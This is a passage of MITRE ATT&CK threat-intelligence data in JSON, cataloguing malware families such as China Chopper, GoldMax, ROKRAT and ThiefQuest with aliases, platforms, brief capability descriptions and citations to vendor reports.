{"source_name": "Objective See Green Lambert for OSX Oct 2021", "url": "https://objective-see.com/blog/blog_0x68.html", "description": "Sandvik, Runa. (2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Green Lambert](https://attack.mitre.org/software/S0690) is a modular backdoor that security researchers assess has been used by an advanced threat group referred to as Longhorn and The Lamberts. First reported in 2017, the Windows variant of [Green Lambert](https://attack.mitre.org/software/S0690) may have been used as early as 2008; a macOS version was uploaded to a multiscanner service in September 2014.(Citation: Kaspersky Lamberts Toolkit April 2017)(Citation: Objective See Green Lambert for OSX Oct 2021)  ", "modified": "2022-04-20T18:12:24.193Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Green Lambert", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-01-03T21:37:14.516Z", "name": "China Chopper", "description": "[China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1505/003) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server.(Citation: Lee 2013) It has been used by several threat groups.(Citation: Dell TG-3390)(Citation: FireEye Periscope March 2018)(Citation: CISA AA21-200A APT40 July 2021)(Citation: Rapid7 HAFNIUM Mar 2021)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "2.5", "x_mitre_aliases": ["China Chopper"], "type": "malware", "id": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", "created": "2017-05-31T21:32:18.315Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0020", "external_id": "S0020"}, {"source_name": "China Chopper", "description": "(Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)"}, {"source_name": "CISA AA21-200A APT40 July 2021", "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department. Retrieved August 12, 2021.", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a"}, {"source_name": "Dell TG-3390", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}, {"source_name": "Rapid7 HAFNIUM Mar 2021", "description": "Eoin Miller. (2021, March 23). Defending Against the Zero Day: Analyzing Attacker Behavior Post-Exploitation of Microsoft Exchange. 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APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}], "modified": "2020-03-30T15:12:21.836Z", "name": "CALENDAR", "description": "[CALENDAR](https://attack.mitre.org/software/S0025) is malware used by [APT1](https://attack.mitre.org/groups/G0006) that mimics legitimate Gmail Calendar traffic. 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(2019, March 22). TAU Threat Intelligence Notification \u2013 LockerGoga Ransomware. Retrieved April 16, 2019.", "url": "https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/"}, {"source_name": "Unit42 LockerGoga 2019", "description": "Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. 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Retrieved February 12, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T02:26:45.606Z", "name": "GoldMax", "description": "[GoldMax](https://attack.mitre.org/software/S0588) is a second-stage C2 backdoor written in Go with Windows and Linux variants that are nearly identical in functionality. [GoldMax](https://attack.mitre.org/software/S0588) was discovered in early 2021 during the investigation into the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), and has likely been used by [APT29](https://attack.mitre.org/groups/G0016) since at least mid-2019. [GoldMax](https://attack.mitre.org/software/S0588) uses multiple defense evasion techniques, including avoiding virtualization execution and masking malicious traffic.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)(Citation: CrowdStrike StellarParticle January 2022)", "x_mitre_platforms": ["Windows", "Linux"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "2.3", "x_mitre_aliases": ["GoldMax", "SUNSHUTTLE"], "type": "malware", "id": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", "created": "2021-03-12T16:10:45.416Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0588", "external_id": "S0588"}, {"source_name": "SUNSHUTTLE", "description": "(Citation: FireEye SUNSHUTTLE Mar 2021)"}, {"source_name": "GoldMax", "description": "(Citation: MSTIC NOBELIUM Mar 2021)"}, {"source_name": "CrowdStrike StellarParticle January 2022", "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.", "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"}, {"source_name": "MSTIC NOBELIUM Mar 2021", "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021.", "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/"}, {"source_name": "FireEye SUNSHUTTLE Mar 2021", "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021.", "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["HELLOKITTY"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--5d11d418-95dd-4377-b782-23160dfa17b4", "type": "malware", "created": "2021-06-03T20:07:21.788Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "S0617", "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0617"}, {"source_name": "FireEye FiveHands April 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", "description": "McLellan, T.  and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}], "modified": "2021-10-18T18:33:58.599Z", "name": "HELLOKITTY", "description": "[HELLOKITTY](https://attack.mitre.org/software/S0617) is a ransomware written in C++  that shares similar code structure and functionality with [DEATHRANSOM](https://attack.mitre.org/software/S0616) and [FIVEHANDS](https://attack.mitre.org/software/S0618). [HELLOKITTY](https://attack.mitre.org/software/S0617) has been used since at least 2020, targets have included a Polish video game developer and a Brazilian electric power company.(Citation: FireEye FiveHands April 2021)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-10-05T16:34:18.865Z", "name": "CostaBricks", "description": "[CostaBricks](https://attack.mitre.org/software/S0614) is a loader that was used to deploy 32-bit backdoors in the [CostaRicto](https://attack.mitre.org/groups/G0132) campaign.(Citation: BlackBerry CostaRicto November 2020)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_aliases": ["CostaBricks"], "type": "malware", "id": "malware--5d342981-5194-41e7-b33f-8e91998d7d88", "created": "2021-05-24T15:56:18.522Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0614", "external_id": "S0614"}, {"source_name": "BlackBerry CostaRicto November 2020", "description": "The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.", "url": "https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-15T23:22:28.176Z", "name": "Cheerscrypt", "description": "[Cheerscrypt](https://attack.mitre.org/software/S1096) is a ransomware that was developed by [Cinnamon Tempest](https://attack.mitre.org/groups/G1021) and has been used in attacks against ESXi and Windows environments since at least 2022. [Cheerscrypt](https://attack.mitre.org/software/S1096) was derived from the leaked [Babuk](https://attack.mitre.org/software/S0638) source code and has infrastructure overlaps with deployments of Night Sky ransomware, which was also derived from [Babuk](https://attack.mitre.org/software/S0638).(Citation: Sygnia Emperor Dragonfly October 2022)(Citation: Trend Micro Cheerscrypt May 2022)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_aliases": ["Cheerscrypt"], "type": "malware", "id": "malware--5d3fa1db-5041-4560-b87b-8f61cc225c52", "created": "2023-12-18T20:24:33.641Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1096", "external_id": "S1096"}, {"source_name": "Sygnia Emperor Dragonfly October 2022", "description": "Biderman, O. et al. (2022, October 3). REVEALING EMPEROR DRAGONFLY: NIGHT SKY AND CHEERSCRYPT - A SINGLE RANSOMWARE GROUP. Retrieved December 6, 2023.", "url": "https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group"}, {"source_name": "Trend Micro Cheerscrypt May 2022", "description": "Dela Cruz, A. et al. (2022, May 25). New Linux-Based Ransomware Cheerscrypt Targeting ESXi Devices Linked to Leaked Babuk Source Code. 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(2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017."}, {"source_name": "Secureworks IRON TILDEN Profile", "url": "https://www.secureworks.com/research/threat-profiles/iron-tilden", "description": "Secureworks CTU. (n.d.). IRON TILDEN. Retrieved February 24, 2022."}, {"source_name": "Symantec Shuckworm January 2022", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine", "description": "Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Pteranodon](https://attack.mitre.org/software/S0147) is a custom backdoor used by [Gamaredon Group](https://attack.mitre.org/groups/G0047). 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[DarkTortilla](https://attack.mitre.org/software/S1066) has been used to deliver popular information stealers, RATs, and payloads such as [Agent Tesla](https://attack.mitre.org/software/S0331), AsyncRat, [NanoCore](https://attack.mitre.org/software/S0336), RedLine, [Cobalt Strike](https://attack.mitre.org/software/S0154), and Metasploit.(Citation: Secureworks DarkTortilla Aug 2022)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_contributors": ["Mindaugas Gudzis, BT Security"], "x_mitre_aliases": ["DarkTortilla"], "type": "malware", "id": "malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8", "created": "2023-02-16T13:57:53.205Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1066", "external_id": "S1066"}, {"source_name": "Secureworks DarkTortilla Aug 2022", "description": "Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.", "url": "https://www.secureworks.com/research/darktortilla-malware-analysis"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["ROKRAT"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", "type": "malware", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0240", "external_id": "S0240"}, {"source_name": "ROKRAT", "description": "(Citation: Talos ROKRAT 2) (Citation: Talos Group123)"}, {"url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html", "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.", "source_name": "Talos ROKRAT"}, {"url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", "source_name": "Talos Group123"}, {"source_name": "Volexity InkySquid RokRAT August 2021", "url": "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/", "description": "Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021."}, {"url": "https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html", "description": "Mercer, W., Rascagneres, P. (2017, November 28). ROKRAT Reloaded. Retrieved May 21, 2018.", "source_name": "Talos ROKRAT 2"}], "modified": "2022-03-30T20:40:21.212Z", "name": "ROKRAT", "description": "[ROKRAT](https://attack.mitre.org/software/S0240) is a cloud-based remote access tool (RAT) used by [APT37](https://attack.mitre.org/groups/G0067) to target victims in South Korea. [APT37](https://attack.mitre.org/groups/G0067) has used ROKRAT during several campaigns from 2016 through 2021.(Citation: Talos ROKRAT)(Citation: Talos Group123)(Citation: Volexity InkySquid RokRAT August 2021)", "x_mitre_version": "2.3", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-26T17:51:20.402Z", "name": "CORESHELL", "description": "[CORESHELL](https://attack.mitre.org/software/S0137) is a downloader used by [APT28](https://attack.mitre.org/groups/G0007). The older versions of this malware are known as SOURFACE and newer versions as CORESHELL.(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "2.1", "x_mitre_aliases": ["CORESHELL", "Sofacy", "SOURFACE"], "type": "malware", "id": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", "created": "2017-05-31T21:33:18.506Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0137", "external_id": "S0137"}, {"source_name": "CORESHELL", "description": "(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)"}, {"source_name": "SOURFACE", "description": "(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)(Citation: Securelist Sofacy Feb 2018)"}, {"source_name": "FireEye APT28 January 2017", "description": "FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.", "url": "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf"}, {"source_name": "FireEye APT28", "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", "url": "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}, {"source_name": "Securelist Sofacy Feb 2018", "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. 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(2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. 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The presence of certain strings in the malware suggests a Linux variant of [LightNeuron](https://attack.mitre.org/software/S0395) exists.(Citation: ESET LightNeuron May 2019)", "x_mitre_platforms": ["Windows", "Linux"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.2", "x_mitre_aliases": ["LightNeuron"], "type": "malware", "id": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", "created": "2019-06-28T13:09:26.710Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0395", "external_id": "S0395"}, {"source_name": "ESET LightNeuron May 2019", "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. 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Written in Delphi and named \"DarkGate\" by its author, [DarkGate](https://attack.mitre.org/software/S1111) is associated with credential theft, cryptomining, cryptotheft, and pre-ransomware actions.(Citation: Ensilo Darkgate 2018) DarkGate use increased significantly starting in 2022 and is under active development by its author, who provides it as a Malware-as-a-Service offering.(Citation: Trellix Darkgate 2023)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_contributors": ["Serhii Melnyk, Trustwave SpiderLabs"], "x_mitre_aliases": ["DarkGate"], "type": "malware", "id": "malware--6f6f67c9-556d-4459-95c2-78d272190e52", "created": "2024-02-09T19:52:30.428Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1111", "external_id": "S1111"}, {"source_name": "Ensilo Darkgate 2018", "description": "Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.", "url": "https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}, {"source_name": "Trellix Darkgate 2023", "description": "Ernesto Fern\u00e1ndez Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. 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(2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.", "url": "https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.0.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T00:37:11.186Z", "name": "NanHaiShu", "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) is a remote access tool and JScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). [NanHaiShu](https://attack.mitre.org/software/S0228) has been used to target government and private-sector organizations that have relations to the South China Sea dispute. (Citation: Proofpoint Leviathan Oct 2017) (Citation: fsecure NanHaiShu July 2016)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.2", "x_mitre_aliases": ["NanHaiShu"], "type": "malware", "id": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0228", "external_id": "S0228"}, {"source_name": "NanHaiShu", "description": "(Citation: Proofpoint Leviathan Oct 2017)"}, {"source_name": "Proofpoint Leviathan Oct 2017", "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. 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Security researchers have noted overlaps between [TA551](https://attack.mitre.org/groups/G0127) activity and [SVCReady](https://attack.mitre.org/software/S1064) distribution, including similarities in file names, lure images, and identical grammatical errors.(Citation: HP SVCReady Jun 2022)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_contributors": ["Manikantan Srinivasan, NEC Corporation India", "Akiko To, NEC Corporation", "Pooja Natarajan, NEC Corporation India"], "x_mitre_aliases": ["SVCReady"], "type": "malware", "id": "malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6", "created": "2023-02-10T18:05:56.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1064", "external_id": "S1064"}, {"source_name": "HP SVCReady Jun 2022", "description": "Schlapfer, Patrick. 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Retrieved December 13, 2022.", "url": "https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["ThiefQuest", "MacRansom.K", "EvilQuest"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "malware", "id": "malware--727afb95-3d0f-4451-b297-362a43909923", "created": "2021-03-19T16:26:04.260Z", "x_mitre_version": "1.2", "external_references": [{"source_name": "mitre-attack", "external_id": "S0595", "url": "https://attack.mitre.org/software/S0595"}, {"source_name": "ThiefQuest", "description": "(Citation: Reed thiefquest fake ransom)"}, {"source_name": "EvilQuest", "description": "(Citation: Reed thiefquest fake ransom)"}, {"source_name": "MacRansom.K", "description": "(Citation: SentinelOne EvilQuest Ransomware Spyware 2020)"}, {"source_name": "wardle evilquest partii", "url": "https://objective-see.com/blog/blog_0x60.html", "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."}, {"source_name": "SentinelOne EvilQuest Ransomware Spyware 2020", "url": "https://www.sentinelone.com/blog/evilquest-a-new-macos-malware-rolls-ransomware-spyware-and-data-theft-into-one/", "description": "Phil Stokes. (2020, July 8). \u201cEvilQuest\u201d Rolls Ransomware, Spyware & Data Theft Into One. Retrieved April 1, 2021."}, {"source_name": "Reed thiefquest fake ransom", "url": "https://blog.malwarebytes.com/detections/osx-thiefquest/", "description": "Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 18, 2021."}, {"source_name": "reed thiefquest ransomware analysis", "url": "https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/", "description": "Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 22, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) is a virus, data stealer, and wiper that presents itself as ransomware targeting macOS systems. [ThiefQuest](https://attack.mitre.org/software/S0595) was first seen in 2020 distributed via trojanized pirated versions of popular macOS software on Russian forums sharing torrent links.(Citation: Reed thiefquest fake ransom) Even though [ThiefQuest](https://attack.mitre.org/software/S0595) presents itself as ransomware, since the dynamically generated encryption key is never sent to the attacker it may be more appropriately thought of as a form of wiper malware.(Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)", "modified": "2022-04-16T15:01:37.957Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "ThiefQuest", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T02:32:04.884Z", "name": "FoggyWeb", "description": "[FoggyWeb](https://attack.mitre.org/software/S0661) is a passive and highly-targeted backdoor capable of remotely exfiltrating sensitive information from a compromised Active Directory Federated Services (AD FS) server. It has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least early April 2021.(Citation: MSTIC FoggyWeb September 2021)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_contributors": ["Craig Smith, BT Security"], "x_mitre_aliases": ["FoggyWeb"], "type": "malware", "id": "malware--72911fe3-f085-40f7-b4f2-f25a4221fe44", "created": "2021-11-16T14:33:46.321Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0661", "external_id": "S0661"}, {"source_name": "MSTIC FoggyWeb September 2021", "description": "Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. 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While the capabilities are standard for a backdoor, NGLite uses a novel C2 channel that leverages a decentralized network based on the legitimate NKN to communicate between the backdoor and the actors.(Citation: NGLite Trojan)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_aliases": ["NGLite"], "type": "malware", "id": "malware--72b5f07f-5448-4e00-9ff2-08bc193a7b77", "created": "2024-02-08T15:23:05.910Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1106", "external_id": "S1106"}, {"source_name": "NGLite Trojan", "description": "Robert Falcone, Jeff White, and Peter Renals. (2021, November 7). Targeted Attack Campaign Against ManageEngine ADSelfService Plus Delivers Godzilla Webshells, NGLite Trojan and KdcSponge Stealer. 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(Citation: Crowdstrike DNC June 2016) (Citation: Invincea XTunnel) (Citation: ESET Sednit Part 2)", "x_mitre_version": "2.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-20T22:03:44.662Z", "name": "Hydraq", "description": "[Hydraq](https://attack.mitre.org/software/S0203) is a data-theft trojan first used by [Elderwood](https://attack.mitre.org/groups/G0066) in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including [APT17](https://attack.mitre.org/groups/G0025).(Citation: MicroFocus 9002 Aug 2016)(Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: ASERT Seven Pointed Dagger Aug 2015)(Citation: FireEye DeputyDog 9002 November 2013)(Citation: ProofPoint GoT 9002 Aug 2017)(Citation: FireEye Sunshop Campaign May 2013)(Citation: PaloAlto 3102 Sept 2015)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "2.0", "x_mitre_aliases": ["Hydraq", "Roarur", "MdmBot", "HomeUnix", "Homux", "HidraQ", "HydraQ", "McRat", "Aurora", "9002 RAT"], "type": "malware", "id": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0203", "external_id": "S0203"}, {"source_name": "9002 RAT", "description": "(Citation: MicroFocus 9002 Aug 2016)"}, {"source_name": "Roarur", "description": "(Citation: Novetta-Axiom)"}, {"source_name": "MdmBot", "description": "(Citation: Novetta-Axiom)"}, {"source_name": "HomeUnix", "description": "(Citation: Novetta-Axiom)"}, {"source_name": "Homux", "description": "(Citation: Novetta-Axiom)"}, {"source_name": "HidraQ", "description": "(Citation: Novetta-Axiom)"}, {"source_name": "HydraQ", "description": "(Citation: Novetta-Axiom)"}, {"source_name": "McRat", "description": "(Citation: Novetta-Axiom)"}, {"source_name": "Hydraq", "description": "(Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010)"}, {"source_name": "Aurora", "description": "(Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Trojan.Hydraq Jan 2010)"}, {"source_name": "ASERT Seven Pointed Dagger Aug 2015", "description": "ASERT. (2015, August). ASERT Threat Intelligence Report \u2013 Uncovering the Seven Pointed Dagger. Retrieved March 19, 2018.", "url": 